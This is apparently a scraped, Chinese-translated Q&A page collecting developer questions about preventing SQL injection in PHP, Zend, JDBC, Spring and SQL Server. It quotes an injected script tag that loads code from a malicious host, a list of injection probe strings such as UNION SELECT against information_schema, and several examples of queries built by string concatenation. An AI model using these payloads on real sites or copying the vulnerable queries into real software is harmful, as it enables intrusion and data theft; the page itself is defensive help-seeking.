我在Zend Framework中做了一些查询,我需要确保在下一种格式中不能进行SQL注入.我可以使用mysql_escape(已弃用)并且不会完成所有工作.如果我尝试使用real_mysql_escape它将无法获取数据库的连接,我无法找到zend_filter将如何解决问题.
我正在做的查询(simplied)有下一个sintaxes:
$db = Zend_Registry::get('db');
$select = "SELECT COUNT(*) AS num
FROM message m
WHERE m.message LIKE '".$username." %'";
$row = $db->fetchRow($select);
Run Code Online (Sandbox Code Playgroud)
使用此框架阻止SQL INJECTION的最佳方法是什么?
有没有人知道有关此攻击的更多信息?
我最近在我的网站上注入了这个脚本
顺便说一句,不要去这个网站,因为它是感染的来源
</title><script src=http://google-stats50.**fo/***.php>
Run Code Online (Sandbox Code Playgroud)
什么样的攻击,SQL或CODE?
顺便说一句,不要去这个网站,因为它是感染的来源
问题是这种传染性攻击发生了什么样的攻击?
我们发现它,并不像twitter攻击,它是通过url中的请求参数并直接在参数中注入sql.
我们的sql团队生成了一个SQL脚本来清理被感染的数据库
/*************************************************************************
SQL INJECTED DATABASE
*************************************************************************/
DECLARE @dbName VARCHAR(200),
@SqlString NVARCHAR(MAX),
@SearchText VARCHAR(MAX),
@SearchTextLike VARCHAR(MAX),
@NbItems INT,
@TableName VARCHAR(255),
@ColoneName VARCHAR(255),
@objId BIGINT,
@tmpSqlString NVARCHAR(MAX),
@CleanUp BIT,
@RowCount BIGINT,
@debug BIT,
@Msg VARCHAR(MAX);
SET @debug = 0; -- 1 = Additionnal prints
SET @CleanUp = 0; -- 1 = Update tables
SET @SearchText = '</title><script src=http://google-stats50.info/ur.php></script>';
SET @SearchTextLike = '%' + @SearchText + '%';
DECLARE @QueryResults TABLE (SqlString VARCHAR(MAX), TableName VARCHAR(255), …Run Code Online (Sandbox Code Playgroud) 从http://www.tizag.com/mysqlTutorial/mysql-php-sql-injection.php我得到:
SQL注入是指某人在您不知情的情况下插入MySQL语句以在您的数据库上运行的行为.注入通常发生在您询问用户输入时,例如他们的姓名,而不是名称,他们会给您一个MySQL语句,您将无意中在您的数据库上运行.
我阅读了整篇文章,但我仍然有一些重大问题需要了解它是什么以及如何完成.
在第一个例子中,他们实际会看到什么?
据我所知,如果我实际上回应$ name,将看到所有的名字,因为它总是"是真的"我是否正确?
我不明白的另一件事是mysql_real_escape_string()是否解决了MySQL注入问题,还有更多问题需要解决.
我真的没有得到的是mysql_real_escape_string()是为了解决这个问题,为什么不自动完成,我的意思是你有必要每次都添加mysql_real_escape_string(),是否有你应该使用的情况这就是为什么他们不自动化?
我们有大量依赖动态SQL的SQL Server存储过程.
存储过程的参数用于动态SQL语句中.
我们需要在这些存储过程中使用标准验证函数来验证这些参数并防止SQL注入.
假设我们有这些约束:
我们无法重写不使用动态SQL的过程
我们不能使用sp_OACreate等来使用正则表达式进行验证.
在将参数传递给存储过程之前,我们无法修改调用存储过程的应用程序来验证参数.
是否有一组字符我们可以过滤掉以确保我们不会受到SQL注入的影响?
sql-server validation stored-procedures sql-injection dynamic-sql
尝试开始使用JDBC(使用Jetty + MySQL).我不确定如何在SQL语句中转义用户提供的参数.例:
String username = getDangerousValueFromUser();
Statement stmt = conn.createStatement();
stmt.execute("some statement where username = '" + username + "'"));
Run Code Online (Sandbox Code Playgroud)
在使用声明之前我们如何逃避"用户名"?
真正的PHP安全专家,PDO是可行的方式,还是我可以使用Codeigniter的Active Record类?
我已经阅读了http://codeigniter.com/forums/viewthread/179618/并且并非100%确信.
我通常依靠Chris Shiflett和OWASP等专家来获取安全提示. http://shiflett.org/blog/2006/jul/the-owasp-php-top-5
使用自制的PDO DB类代替Codeigniter数据库文件.每次我上传它都是一个相对较小的痛苦复制.我使用PDO的主要原因是为了防止SQL注入与使用Active Record.
编辑: 不是一个人,但我写了一篇关于如何在Codeigniter中集成PDO的事实 .如果有人有反馈,我会很高兴听到.
就在上周,我正在做一些PHP的东西.我做了一些小的解决方案来防止SQL注入.PHP一直是我的男人,它有3个解决方案可供使用(可能更多).一种是使用stripslashes()函数启用"魔术查询" .另一个(推荐)是使用mysql_real_escape_string()功能.那个简单,我的问题就解决了.但是,当谈到JSP时,事情似乎并不那么简单.我搜索并没有找到任何内置函数来删除斜杠或做那些事情(我相信这样的功能可以使用基本的JAVA函数实现,但......).
请帮我保护我的数据库.我听说过PreparedStatement,但真的无法理解我的脑袋?(我觉得新手的真正含义).
我想知道Spring MVC如何处理SQL注入(以及其他安全问题:XSS,代码[javascript]注入等).我主要谈论的是逃避添加到DB等的值.我似乎无法找到任何答案,因为每次我搜索涉及依赖注入的spring sql注入结果时都会出现.
我的流程如下:从客户端浏览器我发出一个请求,包含一个带有一些查询参数的JSON(不是SQL语句,这太愚蠢了 - 在JS中形成SQL查询).当请求到达控制器中的正确注解的方法,该请求经由@RequestBody使用杰克逊到"请求对象"映射.现在这个对象被发送到DAO,在那里使用JDBC模板我查询db(并使用RowMapper我映射结果).
在DAO我有类似的东西:
public int countAll(RequestObject request) {
String sql = "SELECT count(*) FROM employees WHERE name = '" + request.getName() + "'";
JdbcTemplate jdbcTemplate = new JdbcTemplate(dataSource);
int count = jdbcTemplate.queryForInt(sql);
return count;
}
Run Code Online (Sandbox Code Playgroud)
现在这种方法可以安全地从SQL注入?基于非JDBCTemplate的查询是否安全,因为它们正在流经Spring MVC?
我们可以就此进行一些讨论吗?
我看到经常重复的评论"总是使用准备好的查询来防止SQL注入攻击".
使用准备好的查询和构造的查询之间的实际区别是什么,用户输入总是被清理?
建造
function quote($value) {
global $db;
return "'" . mysqli_real_escape_string($db, $value) . "'";
}
$sql = "INSERT INTO foo (a, b) VALUES (" . quote($a) . "," . quote($b) . ")";
Run Code Online (Sandbox Code Playgroud)
准备
$stmt = mysqli_prepare($db, "INSERT INTO foo (a, b) VALUES (?, ?)");
mysqli_stmt_bind_param($stmt, "ss", $a, $b);
Run Code Online (Sandbox Code Playgroud)
除了冗长和风格之外,我还有什么理由想要使用另一个?
我有一个小型网站(MVC5),其中包含"联系我们"功能,今天早上我发现我有来自同一IP的数百封电子邮件.我从数据库查询结果,所有'em只是一堆奇怪的字符串和一些脚本/ SQL注入.
我已经在我的数据库(SQL Server 2014)上使用参数,并对所有用户输入进行白名单过滤.只是想知道我是否应该担心?
Joey'"
Joey\\'\\"
Joey'"'"'"'"
Joey AND 1=1 --
Joey AND 1=2 --
Joey" AND 1=1 --
Joey" AND 1=2 --
Joey'
Joey
Joey\'
Joey
Joey" UNION SELECT 8, table_name, 'vega' FROM information_schema.tables WHERE table_name like'%
1 AND 1=1 --
1 AND 1=2 --
' AND 1=1 --
' AND 1=2 --
" AND 1=1 --
" AND 1=2 --
Joey''
Joey' UNION SELECT 8, table_name, 'vega' FROM information_schema.taables WHERE taable_name like'%
javascript:vvv002664v506297
vbscript:vvv002665v506297
" onMouseOver=vvv002666v506297
" …Run Code Online (Sandbox Code Playgroud) sql-injection ×10
php ×4
security ×4
mysql ×3
java ×2
jdbc ×2
sql-server ×2
asp.net-mvc ×1
codeigniter ×1
dynamic-sql ×1
iis ×1
jdbctemplate ×1
jsp ×1
mysqli ×1
pdo ×1
spring ×1
sql ×1
validation ×1